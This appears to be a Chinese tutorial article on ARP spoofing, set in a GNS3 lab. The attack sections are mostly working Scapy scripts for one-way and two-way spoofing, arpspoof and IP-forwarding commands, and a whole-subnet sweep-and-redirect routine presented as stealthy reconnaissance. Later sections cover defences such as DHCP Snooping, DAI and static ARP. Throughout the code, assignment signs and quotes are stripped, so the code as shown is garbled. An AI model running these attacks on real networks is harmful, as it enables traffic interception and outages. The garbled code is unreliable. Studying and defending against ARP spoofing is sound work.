ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

ARP欺骗代码实战:从协议报文到GNS3实验环境与防御

ARP欺骗代码实战:从协议报文到GNS3实验环境与防御 简介这份资源是一套面向网络安全初学者与协议分析爱好者的ARP欺骗原理学习代码包围绕ARP协议实现与欺骗机制展开适合用于理解地址映射篡改、中间人攻击原理及防御思路。压缩包共10个文件约23KB以C源码与工程配置为主包含cpp源文件承载ARP请求应答与欺骗逻辑dsp、dsw等Visual Studio工程文件便于直接打开编译h头文件与lib静态库则涉及网络抓包、设备I/O控制及Windows Socket编程接口整体结构紧凑适合在开发环境中逐步调试。目前已有177人学习下载。通过阅读与运行这套代码读者可掌握ARP报文的构造与收发流程、伪造响应实施欺骗的关键环节并借此加深对网络协议分层、数据包捕获及C网络编程的理解为后续安全防护与协议分析打下基础。1. arp.rar_arp欺骗代码从协议报文到可复现实验环境局域网里最容易被忽视、也最容易被拿来做文章的协议就是 ARP。它没有认证、没有状态、谁问都答这种老好人设计在当年是为了让网络快速跑起来放到今天就成了各种内网问题的温床。arp.rar_arp欺骗代码这个标题指向的正是围绕 ARP 协议的一整套攻防实验ARP 报文头部字段长什么样、免费 ARP 怎么用来探测 IP 冲突、ARP 欺骗代码在实验环境里怎么跑起来、以及怎么用 DHCP Snooping 这类机制把它拦下来。如果你在做网络安全课程实验、内网渗透测试学习或者单纯想搞明白为什么我 ping 不通隔壁机器这套东西都值得动手复现一遍。下面我按协议原理 → 实验环境 → 代码实现 → 检测防御 → 进阶技巧的顺序把这条链路讲透。2. ARP 协议原理报文头部字段与请求应答机制2.1 ARP 报文头部到底有哪些字段很多人写 ARP 欺骗代码时翻车根本原因不是代码逻辑错而是没搞清楚报文结构。ARP 报文本身不复杂固定 28 字节以太网 IPv4 场景字段排列如下字段长度说明硬件类型2 字节以太网填 1协议类型2 字节IPv4 填 0x0800硬件地址长度1 字节MAC 长度填 6协议地址长度1 字节IP 长度填 4操作码2 字节1请求2应答发送方 MAC6 字节谁发的发送方 IP4 字节发送方协议地址目标 MAC6 字节请求时填 0应答时填对方目标 IP4 字节想解析谁的 MAC关键点在于ARP 应答是可以主动发送的不需要先收到请求。这就是欺骗的物理基础。协议设计者当年假设大家都是诚实的所以收到一个 ARP 应答主机就会无条件更新自己的 ARP 缓存表。你甚至不需要伪造请求直接构造一个操作码为 2 的应答包告诉目标我是网关我的 MAC 是 XX:XX:XX:XX:XX:XX对方就信了。用 Scapy 看一眼真实报文长什么样from scapy.all import ARP, Ether, srp # 构造一个正常的 ARP 请求扫描 192.168.1.0/24 网段 arp_request ARP(pdst192.168.1.1) ether_frame Ether(dstff:ff:ff:ff:ff:ff) / arp_request result srp(ether_frame, timeout2, verboseFalse)[0] for sent, received in result: print(fIP: {received.psrc} MAC: {received.hwsrc})这段代码做的事很简单构造一个广播以太帧里面包一个 ARP 请求问192.168.1.1 的 MAC 是多少。srp是 Scapy 的二层收发函数timeout2表示等 2 秒没回应就放弃。返回的received.psrc和received.hwsrc就是应答里的发送方 IP 和 MAC。跑通这一步你就有了后续所有实验的基础——能发包就能改包。2.2 免费 ARP 与 IP 冲突探测免费 ARPGratuitous ARP是一种特殊用法发送方把自己的 IP 同时填在发送方 IP 和目标 IP 字段目标 MAC 填广播地址。它的原始用途是我换网卡了通知大家更新缓存但反过来用就能探测 IP 冲突——如果你发一个免费 ARP收到了应答说明这个 IP 已经被别人占了。from scapy.all import ARP, Ether, srp def check_ip_conflict(ip, iface): # 免费 ARP发送方 IP 目标 IP目标 MAC 为广播 gratuitous ARP(op2, psrcip, pdstip, hwsrc00:00:00:00:00:00) frame Ether(dstff:ff:ff:ff:ff:ff) / gratuitous # 只收不发看有没有人回应 result srp(frame, ifaceiface, timeout1, verboseFalse)[0] if result: for _, rcv in result: print(f冲突{ip} 已被 {rcv.hwsrc} 占用) return True print(f{ip} 可用) return False check_ip_conflict(192.168.1.100, eth0)这里有个细节hwsrc填全零是个技巧避免用自己的真实 MAC 去污染对方的缓存。timeout1足够因为同网段响应通常在毫秒级。如果你在 GNS3 里做实验两个路由器分别连主机可以用这个脚本在主机侧验证 IP 分配是否冲突比单纯 ping 更直接——ping 不通可能是路由问题但免费 ARP 有回应就一定是 IP 冲突。2.3 为什么 ARP 缓存是攻击的入口每台主机维护一张 ARP 缓存表记录IP → MAC的映射。Linux 下用arp -n或ip neigh查看Windows 下用arp -a。这张表的更新策略是收到 ARP 应答就更新不管自己有没有发过请求。更麻烦的是很多系统对更新和新增的处理不一样——已有条目会被无条件覆盖新条目才需要等待确认。这意味着攻击者只需要持续发送伪造的 ARP 应答就能让目标主机的缓存里网关的 MAC变成攻击者的 MAC。流量到了攻击者机器上开启 IP 转发就能做中间人不开就是断网。整个过程不需要任何漏洞利用纯粹是协议设计层面的问题。3. 实验环境搭建GNS3 双路由器拓扑与主机配置3.1 GNS3 拓扑设计两个路由器分别连接主机热词里提到gns3 中两个路由器分别连接主机然后分析 ip 数据转发报文 arp 协议这个拓扑非常适合做 ARP 实验。我一般会搭这样的结构R1 和 R2 通过一条链路互联比如 192.168.12.0/30R1 下挂一台主机 PC1192.168.1.0/24R2 下挂一台主机 PC2192.168.2.0/24在 PC1 和 PC2 上分别抓包观察跨网段通信时 ARP 的作用范围关键认知ARP 是广播协议不能跨网段。PC1 ping PC2 时PC1 的 ARP 请求问的是网关 R1 的 MAC而不是 PC2 的 MAC。数据包到了 R1R1 再查自己的路由表从另一个接口发出去在 192.168.2.0/24 网段重新发 ARP 问 PC2 的 MAC。这个逐跳解析的过程在 GNS3 里抓包看得一清二楚。GNS3 里配置主机 IP 的命令以 VPCS 为例# PC1 配置 ip 192.168.1.10/24 192.168.1.1 # PC2 配置 ip 192.168.2.10/24 192.168.2.1 # 查看 ARP 缓存 arp -aip命令第一个参数是地址/掩码第二个是网关。配置完先ping一下网关让 ARP 缓存里有条目再arp -a就能看到网关的 MAC。这一步是后续欺骗实验的基线——你得先知道正常是什么样才能判断什么时候不正常了。3.2 用 Wireshark 抓 ARP 报文并解读字段在 GNS3 里把主机和路由器的链路接到云节点或者直接用 GNS3 自带的抓包功能过滤arp就能看到所有 ARP 流量。一个正常的请求-应答对长这样请求Who has 192.168.1.1? Tell 192.168.1.10 应答192.168.1.1 is at aa:bb:cc:dd:ee:ff在 Wireshark 的详情面板里展开 Address Resolution Protocol对照第 2 章的字段表逐个看。重点看 Opcode1 是请求2 是应答。如果你看到大量 Opcode2 的包而且发送方 MAC 和 IP 对不上比如 IP 是网关的MAC 却是某台主机的那基本就是 ARP 欺骗在跑。抓包时建议加个过滤器arp.opcode 2只看应答。正常网络里应答数量应该和请求数量大致相当如果应答远多于请求或者同一 IP 的 MAC 频繁变化都是异常信号。3.3 实验环境的隔离与安全边界做 ARP 欺骗实验必须在完全隔离的环境里做。GNS3 本身是模拟器天然隔离这是它最大的优势。如果你用虚拟机搭环境把网卡设成 Host-Only 或 Internal 模式绝对不要桥接到物理网卡。我见过有人图省事直接桥接结果欺骗脚本一跑整个办公室断网这就是血泪经验。在 GNS3 里所有设备都是虚拟的随便折腾。但要注意GNS3 的 VPCS 和 Docker 容器对 ARP 的处理和真实主机有差异有些欺骗效果可能不明显。如果要更真实的实验可以用 GNS3 里的 QEMU 虚拟机跑完整 Linux 系统网络行为就和物理机一致了。4. ARP 欺骗代码实现从构造伪造应答到流量劫持4.1 最小可用的 ARP 欺骗脚本先看一个最简版本只做一件事告诉目标主机网关的 MAC 是我。from scapy.all import ARP, Ether, sendp import time def arp_spoof(target_ip, target_mac, spoof_ip, attacker_mac, iface): target_ip: 被欺骗的主机 IP target_mac: 被欺骗的主机 MAC spoof_ip: 要冒充的 IP通常是网关 attacker_mac: 攻击者自己的 MAC iface: 发送网卡 # 构造伪造的 ARP 应答操作码 2发送方 IP 是网关发送方 MAC 是攻击者 spoofed ARP(op2, psrcspoof_ip, pdsttarget_ip, hwsrcattacker_mac, hwdsttarget_mac) frame Ether(dsttarget_mac, srcattacker_mac) / spoofed sendp(frame, ifaceiface, verboseFalse) # 持续发送维持缓存污染 while True: arp_spoof(192.168.1.10, 00:0c:29:11:22:33, 192.168.1.1, 00:0c:29:aa:bb:cc, eth0) time.sleep(2)逐行解释ARP(op2, ...)构造应答包psrc填网关 IPhwsrc填攻击者 MAC这是欺骗的核心——IP 和 MAC 的绑定关系被伪造了。Ether(dsttarget_mac)确保这个包只发给目标不广播减少被发现概率。sendp是二层发送需要指定网卡。time.sleep(2)是因为 ARP 缓存有老化时间通常几十秒到几分钟定期重发才能维持污染。参数上最容易出错的是target_mac。如果你不知道目标 MAC可以先跑一次第 2 章的扫描脚本拿到。另外attacker_mac必须是你真实网卡的 MAC填错了包发不出去。4.2 双向欺骗与 IP 转发开启单向欺骗只能让目标断网流量到了你这里但你不转发。要做中间人需要双向欺骗同时告诉目标我是网关告诉网关我是目标。from scapy.all import ARP, Ether, sendp import time def bidirectional_spoof(target_ip, target_mac, gateway_ip, gateway_mac, attacker_mac, iface): # 骗目标网关的 MAC 是我 to_target Ether(dsttarget_mac, srcattacker_mac) / \ ARP(op2, psrcgateway_ip, pdsttarget_ip, hwsrcattacker_mac, hwdsttarget_mac) # 骗网关目标的 MAC 是我 to_gateway Ether(dstgateway_mac, srcattacker_mac) / \ ARP(op2, psrctarget_ip, pdstgateway_ip, hwsrcattacker_mac, hwdstgateway_mac) sendp(to_target, ifaceiface, verboseFalse) sendp(to_gateway, ifaceiface, verboseFalse) while True: bidirectional_spoof(192.168.1.10, 00:0c:29:11:22:33, 192.168.1.1, 00:50:56:aa:bb:cc, 00:0c:29:aa:bb:cc, eth0) time.sleep(2)同时要在攻击者机器上开启 IP 转发否则流量到了你这里就断了# Linux 临时开启 echo 1 /proc/sys/net/ipv4/ip_forward # 或者用 sysctl sysctl -w net.ipv4.ip_forward1ip_forward1让内核把收到的包按路由表转发出去。不开的话目标主机会发现网关了但上不了网很容易引起怀疑。开了之后流量正常通过只是多经过了你这一跳用tcpdump就能抓到目标的明文流量。4.3 用 arpspoof 工具快速验证自己写代码是为了理解原理实际做实验时用现成工具更快。arpspoof是 dsniff 包里的经典工具# 双向欺骗告诉目标我是网关 arpspoof -i eth0 -t 192.168.1.10 192.168.1.1 # 另一个终端告诉网关我是目标 arpspoof -i eth0 -t 192.168.1.1 192.168.1.10-i指定网卡-t指定被欺骗方最后一个参数是要冒充的 IP。两条命令分别跑在两个终端里配合ip_forward1就是完整的中间人。这个工具的好处是会自动重发不用自己写循环。验证是否成功在目标主机上arp -a看网关的 MAC 是不是变成了攻击者的。在攻击者机器上tcpdump -i eth0 -n host 192.168.1.10能看到目标的流量就说明劫持成功了。5. 检测与防御DHCP Snooping、DAI 与主机侧排查5.1 DHCP Snooping 绑定表与 ARP 检测的关系热词里提到arp detect 通过 dhcp snooping 必须要配置这个说法有道理但不够准确。DHCP Snooping 本身不检测 ARP它做的是监听 DHCP 过程建立IP-MAC-端口的绑定表。这张表是后续动态 ARP 检测DAI的基础。交换机上的典型配置以 Cisco 为例! 全局开启 DHCP Snooping ip dhcp snooping ! 指定信任端口连 DHCP 服务器的口 interface GigabitEthernet0/1 ip dhcp snooping trust ! 在用户 VLAN 上开启 ip dhcp snooping vlan 10 ! 开启 DAI基于 DHCP Snooping 绑定表检测 ARP ip arp inspection vlan 10 interface GigabitEthernet0/2 ip arp inspection trust关键点ip dhcp snooping trust必须配在连接合法 DHCP 服务器的端口上否则所有 DHCP 应答都被丢弃主机拿不到 IP。ip arp inspection vlan 10开启后交换机会检查每个 ARP 包的发送方 IP-MAC是否在绑定表里不在就丢弃。这样伪造的 ARP 应答根本进不了网络。但 DAI 有个前提主机必须通过 DHCP 获取 IP。如果是静态 IP绑定表里没有记录DAI 会把正常 ARP 也拦掉。这时候需要配静态绑定ip source binding 0011.2233.4455 vlan 10 192.168.1.10 interface Gi0/35.2 主机侧检测ARP 缓存异常与火绒拦截不是所有网络都有可管理的交换机主机侧检测更通用。Windows 下arp -a如果看到网关的 MAC 频繁变化或者同一个 MAC 对应多个 IP基本可以确定被欺骗了。Linux 下可以用arpwatch监控# 安装后启动会记录 MAC-IP 变化 arpwatch -i eth0 # 日志在 /var/log/arpwatch.log 或 syslog热词里提到火绒拦截对外 ARP 攻击这是主机防火墙的 ARP 防护功能。火绒、360 这类安全软件会监控 ARP 表变化发现异常就告警并阻止。原理不复杂hook 系统调用或者驱动层过滤检测到 ARP 应答里的 IP-MAC 与已知记录不符就拦截。缺点是只能保护本机而且如果攻击者持续发送会一直弹窗。更彻底的方案是在主机上配静态 ARP# Linux 添加静态条目 arp -s 192.168.1.1 00:50:56:aa:bb:cc # Windows netsh interface ipv4 add neighbors 以太网 192.168.1.1 00-50-56-aa-bb-cc静态条目不会被 ARP 应答覆盖但维护成本高网络一变就得改。适合网关这种不常变的设备。5.3 抓包分析怎么从流量里看出 ARP 欺骗最可靠的方法还是抓包。在交换机上做端口镜像或者直接在怀疑的主机上抓过滤条件tcpdump -i eth0 -n -e arp-e显示以太网头部能看到源 MAC。正常情况下一台主机发的 ARP 请求源 MAC 和源 IP 是对应的。如果看到大量 ARP 应答源 MAC 是同一个但源 IP 不同或者源 IP 是网关但源 MAC 是某台主机就是欺骗。Wireshark 里可以用统计功能Statistics → Endpoints看 IPv4 和 Ethernet 的对应关系。如果某个 MAC 对应了多个 IP或者某个 IP 对应了多个 MAC都是异常。更高级的用arp.opcode 2 arp.src.proto_ipv4 192.168.1.1过滤冒充网关的应答看发送方 MAC 是不是网关的真实 MAC。6. 避坑与排查ARP 实验中最容易翻车的五个点6.1 现象脚本跑了但目标 ARP 缓存没变化原因最常见的是网卡选错。Scapy 的sendp需要指定正确的接口名Linux 下是eth0、ens33这种Windows 下是\Device\NPF_{GUID}格式。填错了包发不出去但脚本不报错。解决先用ifconfig或ip link确认接口名。Windows 下用get_windows_if_list()查看可用接口。另外确认目标 MAC 填对了填错的话包发给了错误的机器。6.2 现象目标能上网但速度极慢原因IP 转发开了但攻击者机器的路由或防火墙有问题。流量到了攻击者这里转发不出去或者被 iptables 拦了。解决检查iptables -L有没有默认 DROP 规则临时清空iptables -F试试。确认攻击者机器本身能上网ip route看默认路由对不对。如果攻击者只有一个网卡转发是没问题的如果有多个网卡要确认流量从正确的接口出去。6.3 现象GNS3 里欺骗成功但抓不到流量原因GNS3 的虚拟链路和真实网络有差异某些情况下 ARP 欺骗后流量走的是交换机的硬件转发不经过攻击者。或者 VPCS 的 ARP 实现和真实主机不同。解决用 QEMU 虚拟机代替 VPCS网络行为更真实。或者在 GNS3 里把攻击者主机接在 Hub 上而不是 Switch 上Hub 是广播的流量必然经过所有端口。检查 GNS3 的链路类型确保攻击者在流量路径上。6.4 现象DAI 开启后正常主机也断网原因主机用的是静态 IPDHCP Snooping 绑定表里没有记录DAI 把正常 ARP 也丢了。解决要么让主机改用 DHCP要么手动加静态绑定ip source binding。加完之后用show ip arp inspection statistics看丢弃计数确认是 DAI 在丢包。另外检查信任端口配置连服务器的端口必须 trust。6.5 现象火绒/360 拦截导致实验失败原因主机安全软件检测到 ARP 异常主动拦截了伪造的应答或者把攻击者机器拉黑了。解决实验环境里临时关闭 ARP 防护功能。火绒在防护中心 → 网络防护里可以关。但要注意这只在隔离实验环境里做真实网络里关掉防护是危险的。如果关不掉换一台没装安全软件的虚拟机做目标。7. 进阶技巧用 ARP 做内网资产测绘与流量分析ARP 欺骗只是手段真正有价值的是它背后的能力——控制二层流量。把这个能力用在内网资产测绘上比单纯做中间人更有意思。一个实用的技巧是ARP 扫描 被动指纹先发免费 ARP 探测整个网段哪些 IP 活跃然后对活跃 IP 发伪造应答把它们的流量引到你这里用tcpdump抓包分析操作系统指纹。不同系统的 TTL、TCP 窗口大小、选项字段都有差异不用主动扫描就能识别。from scapy.all import ARP, Ether, srp, sendp import time def arp_sweep_and_redirect(subnet, attacker_mac, iface): # 第一步扫描活跃主机 request Ether(dstff:ff:ff:ff:ff:ff) / ARP(pdstsubnet) answered srp(request, ifaceiface, timeout2, verboseFalse)[0] hosts [(rcv.psrc, rcv.hwsrc) for _, rcv in answered] print(f发现 {len(hosts)} 台主机) # 第二步对每台主机发伪造应答把自己变成网关 for ip, mac in hosts: spoof Ether(dstmac, srcattacker_mac) / \ ARP(op2, psrc192.168.1.1, pdstip, hwsrcattacker_mac, hwdstmac) sendp(spoof, ifaceiface, verboseFalse) print(已重定向流量开始抓包分析) arp_sweep_and_redirect(192.168.1.0/24, 00:0c:29:aa:bb:cc, eth0)这段代码先扫描再重定向subnet填 CIDR 格式。注意psrc填的是网关 IP实际使用时改成你网络里真实的网关。重定向后配合tcpdump -i eth0 -n -s 0 -w capture.pcap抓包再用 Wireshark 分析。验证方法抓到的包里看 TTL 值Linux 通常是 64Windows 是 128网络设备是 255。结合 TCP SYN 包的窗口大小和选项能大致判断对端系统类型。这个技巧在渗透测试的信息收集阶段很实用比 nmap 扫描更隐蔽——因为流量是目标自己发出来的不是你去连它。我自己的习惯是做任何 ARP 相关实验前先在一台干净机器上抓一遍正常流量做基线记录网关 MAC、TTL 分布、常见 ARP 请求频率。有了基线实验中出现任何偏差都能快速定位是代码问题还是环境问题。这个习惯帮我省了无数次排查时间希望帮到你。本文还有配套的精品资源点击获取
返回列表